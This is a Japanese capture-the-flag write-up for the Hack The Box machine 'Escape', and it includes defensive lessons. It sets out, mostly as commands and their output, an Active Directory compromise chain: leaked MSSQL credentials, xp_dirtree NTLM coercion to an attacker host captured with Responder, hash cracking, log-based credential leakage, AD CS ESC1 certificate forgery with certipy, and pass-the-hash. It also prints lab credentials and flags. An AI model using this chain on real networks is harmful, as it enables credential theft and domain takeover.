Hack The BoxのWriteup(Escape)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Escape — 全実行コマンド・実行結果レポート
Nmap スキャン
53/88/135/139/389/445/1433/5985等
SMB Public共有
PDFにMSSQL平文資格情報
xp_dirtree NTLM強制
Responder捕捉+hashcatクラック
sql_svc WinRM
ERRORLOG.BAKで資格情報漏洩
ryan.cooper WinRM
user.txt ✓
ADCS ESC1発見
UserAuthenticationテンプレート
certipy req/auth
Administrator偽装証明書
PTH WinRM
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.55.65
nmap -Pn -sV -sC -p 53,88,135,139,389,445,636,1433,3268,3269,5985,9389 10.129.55.65
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb)
445/tcp  open  microsoft-ds
636/tcp  open  ssl/ldap
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws
ℹ️
典型的な Windows AD ドメインコントローラー構成に加え、MSSQL Server (1433) が同居している点が特徴的。ドメインはsequel.htb、DCのホスト名は dc.sequel.htb(LDAP証明書のCN等から確認可能)。
BASH
echo "10.129.55.65 sequel.htb dc.sequel.htb" | sudo tee -a /etc/hosts
PHASE 2

SMB Public共有からのMSSQL資格情報漏洩

共有一覧確認 & Public共有へのアクセス

BASH
# null password (guest相当)で共有一覧を取得
smbclient -L //10.129.55.65 -N
RESULT
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Public          Disk
SYSVOL          Disk      Logon server share
BASH
smbclient //10.129.55.65/Public -N
smb: \> get "SQL Server Procedures.pdf"
BASH
pdftotext "SQL Server Procedures.pdf" -
RESULT (PDF本文抜粋)
For new hired and those that are still waiting their users to be created
and perms assigned, can sneak a peek at the Database with
user PublicUser and password GuestUserCantWrite1.
Refer to the previous guidelines and make sure to switch the
"Windows Authentication" to "SQL Server Authentication".
🚨
資格情報の平文漏洩: 誰でも読めるSMB共有内のPDF文書に、 MSSQL接続用の平文ユーザー名・パスワードが記載されている。

MSSQL接続 & xp_cmdshellの試行(失敗)

BASH
impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb
BASH
SQL> xp_cmdshell whoami
RESULT
ERROR: The EXECUTE permission was denied on the object 'xp_cmdshell'...
(sp_configureでの有効化も権限不足で失敗)
ℹ️
PublicUserにはxp_cmdshell実行権限がなく、直接のRCEは不可。 次の手として、MSSQLサーバー自身に攻撃者ホストへ接続させて認証を強制する xp_dirtreeを試す。
PHASE 3

xp_dirtree による NTLM強制 & Responder捕捉・クラック

Responder起動 & xp_dirtree実行

BASH
sudo responder -I tun0
BASH
# mssqlclient のシェルから
SQL> EXEC MASTER.sys.xp_dirtree '\\10.10.15.201\share', 1, 1
RESULT (Responder側)
[SMB] NTLMv2-SSP Client   : 10.129.55.65
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:3eed88ec0e5a8fc1:59E6D70938C58B3C54C9472E8E56E1E2:...
NTLM強制成功。 MSSQLサービスはWindowsアカウントsql_svcで 稼働しており、xp_dirtreeで攻撃者ホストへUNCパスアクセスを試みる際に そのアカウントのNetNTLMv2応答が漏れる。

ハッシュクラック

BASH
hashcat -m 5600 sql_svc.ntlmv2 /usr/share/wordlists/rockyou.txt
hashcat -m 5600 sql_svc.ntlmv2 --show
RESULT
SQL_SVC::sequel:...:REGGIE1234ronnie
約15秒でクラック成功。 サービスアカウントとはいえ人間が選んだ 辞書に載る強度のパスワードだったため、rockyou.txtで容易に破れた。
PHASE 4

WinRM接続 & ERRORLOG.BAKからの資格情報漏洩 → user.txt

sql_svc としてWinRM接続

BASH
evil-winrm -i 10.129.55.65 -u sql_svc -p REGGIE1234ronnie
BASH
*Evil-WinRM* PS C:\> ls C:\SQLServer\Logs
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
RESULT (ERRORLOG.BAK 抜粋)
2022-11-18 13:43:07.44 Logon  Logon failed for user 'sequel.htb\Ryan.Cooper'.
  Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon  Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon  Logon failed for user 'NuclearMosquito3'.
  Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
🚨
典型的なヒューマンエラー漏洩: ryan.cooperがログイン時に ユーザー名欄へパスワードを誤って入力してしまった形跡(Enterキーとタブキーの 押し間違い等が原因と推測される)。1行目でユーザー名を、2行目(直後のログイン失敗)で パスワードそのものを平文で確認できる。

ryan.cooper としてWinRM接続 & user.txt取得

BASH
evil-winrm -i 10.129.55.65 -u ryan.cooper -p NuclearMosquito3
BASH
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> type user.txt
RESULT
b650c96efa181ea0cd2b2b428c995c83
user.txt — Ryan.Cooper
b650c96efa181ea0cd2b2b428c995c83
PHASE 5

AD CS ESC1 — UserAuthentication テンプレートの悪用

certipy find で脆弱なテンプレートを特定

BASH
certipy find -u ryan.cooper@sequel.htb -p NuclearMosquito3 -dc-ip 10.129.55.65 \
  -vulnerable -stdout
RESULT
Certificate Authorities
  0
    CA Name                  : sequel-DC-CA
    ...
Certificate Templates
  0
    Template Name            : UserAuthentication
    Enrollee Supplies Subject: True
    Certificate Name Flag    : EnrolleeSuppliesSubject
    ...
[!] Vulnerabilities
    ESC1 : 'SEQUEL.HTB\Domain Users' can enroll, enrollee supplies subject
           and template allows client authentication
🚨
ESC1 (証明書テンプレートの設定不備): UserAuthenticationテンプレートは (1) Domain Users(=事実上全ドメインユーザー)がEnroll可能、 (2) ENROLLEE_SUPPLIES_SUBJECT(申請者が証明書のSAN=Subject Alternative Nameを自由に指定できる)、(3) クライアント認証用途で使用可能、 という3条件が揃っている。これにより任意のユーザーが「私はAdministratorだ」 と主張する証明書を正規の手続きで発行してもらえてしまう

Administrator を騙る証明書を要求

BASH
certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \
  -upn administrator@sequel.htb -target sequel.htb \
  -ca sequel-DC-CA -template UserAuthentication
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saved certificate and private key to 'administrator.pfx'

クロックスキューの罠 & certipy auth でNTハッシュ取得

BASH
certipy auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.55.65
RESULT (初回失敗)
[*] Trying to get TGT...
[-] Got error while trying to request TGT:
    Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
⚠️
Kerberos/PKINIT はクロックスキューに非常に厳格(既定で許容誤差わずか5分)。 DCとKali端末の時刻が約8時間ずれている場合(ntpdate -q dc.sequel.htbで 確認可能)、TGT取得(PKINIT)がこのエラーで失敗する。
BASH
# スキュー量を確認 (問い合わせのみ、時刻は変更しない)
ntpdate -q dc.sequel.htb
# → 例: +28797.xx sec (約8時間)

# システム時刻そのものは変えず、対象コマンドだけ faketime でラップする
# (sudo ntpdate -u で恒久的に時刻を合わせる方法は、VPNセッションが切れたり
#  サンドボックス/仮想環境によっては次のコマンド実行までに時刻が巻き戻る
#  ことがあるため非推奨。faketimeなら対象プロセスのみに時刻オフセットを
#  適用でき、システム全体には影響しない)
faketime "+28797 seconds" certipy auth -pfx administrator.pfx \
  -domain sequel.htb -dc-ip 10.129.55.65
RESULT
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb':
    aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
Administrator の NT ハッシュ取得成功! faketimeでコマンド単位に 時刻オフセットを与えることで、システム時刻やVPNセッションに影響を与えずに PKINIT認証を成立させられた。
PHASE 6

Pass-the-Hash で Administrator シェル → root.txt

取得したNTハッシュでWinRM接続

BASH
evil-winrm -i 10.129.55.65 -u administrator \
  -H a52f78e4c751e5f5e17e1e9f3e58f4ee
RESULT
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
パスワードやKerberosチケットを都度要求せず、NTハッシュだけでNTLM認証が通る (Pass-the-Hash)。証明書からNTハッシュを一度取得してしまえば、以後は シンプルなPTHでシェルを維持できる。

root.txt取得

BASH
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT
3b88d12823f8f76322e96a0aed86012d
root.txt — Administrator@sequel.htb
3b88d12823f8f76322e96a0aed86012d

補足: Beyond Root — Silver Ticket による別解

NOTE
本レポートの経路(ADCS ESC1)はHTB公式の意図した解法だが、実は
sql_svcのNTハッシュを取得した時点(Phase 3終了時点)で、MSSQLサービスに
対するSilver Ticket(サービスチケット偽造)によってAdministratorとして
MSSQL経由のファイル読み取りが可能な別解も存在する(HTBテスト時に発見された
"unintended"だが修正困難として意図的に残された経路)。ESC1経路の方が
再現性・汎用性が高いため、本レポートではそちらを採用している。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Ryan.Cooper
b650c96efa181ea0cd2b2b428c995c83
root.txt — Administrator@sequel.htb
3b88d12823f8f76322e96a0aed86012d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
平文資格情報のSMB共有公開 Public共有内PDF MSSQL資格情報の漏洩 Medium 誰でも読める共有に接続手順書を配置、そこにユーザー名/パスワードを平文記載
xp_dirtree による NTLM 強制 MSSQL Server (sql_svcサービスアカウント) サービスアカウントのNetNTLMv2窃取 High UNCパスへの参照でサーバー自身に攻撃者ホストへ認証させ、Responderで捕捉・オフラインクラック
ログファイルへの資格情報漏洩 ERRORLOG.BAK 横展開 (sql_svc→ryan.cooper) Medium ログイン失敗時にユーザー名欄へ誤入力されたパスワードがログに平文記録
AD CS ESC1 UserAuthentication証明書テンプレート 権限昇格 (一般ユーザー→Domain Admin相当) Critical ENROLLEE_SUPPLIES_SUBJECT+広いEnroll権限+クライアント認証用途の組み合わせでAdministrator偽装証明書を取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC + MSSQL(1433) 構成を確認
2資格情報発見SMB Public共有PDFPublicUser:GuestUserCantWrite1
3NTLM強制+クラックxp_dirtree + Responder + hashcatsql_svc:REGGIE1234ronnie
4横展開+footholdERRORLOG.BAK閲覧ryan.cooper:NuclearMosquito3 → user.txt
5ADCS悪用certipy find/req/auth (ESC1)Administrator NTハッシュ
6権限昇格Pass-the-Hash WinRMroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
認証不要のSMB共有に資格情報を含む文書を配置 共有のアクセス許可を必要最小限に限定し、資格情報は文書ではなくシークレット管理システムで配布する。
MSSQLサーバーが外部ホストへのUNCアクセス(xp_dirtree等)を許可 不要なOLE Automation/拡張ストアドプロシージャを無効化し、アウトバウンドSMB通信をファイアウォールで制限する。
ログファイルに認証失敗時の入力値(パスワードの可能性がある文字列)がそのまま記録される ログ出力前に既知の機密パターンをマスキングする。エラーログファイルのアクセス権をサービスアカウントのみに限定する。
証明書テンプレートで ENROLLEE_SUPPLIES_SUBJECT を有効化したまま広いEnroll権限を許可(ESC1) クライアント認証用テンプレートでは申請者によるSubject/SAN指定を許可しない。Enroll権限は業務上必要な最小限のグループに限定する。certipy findやPSPKIAuditで定期的に監査する。
HackTheBox: Escape | 完全攻略レポート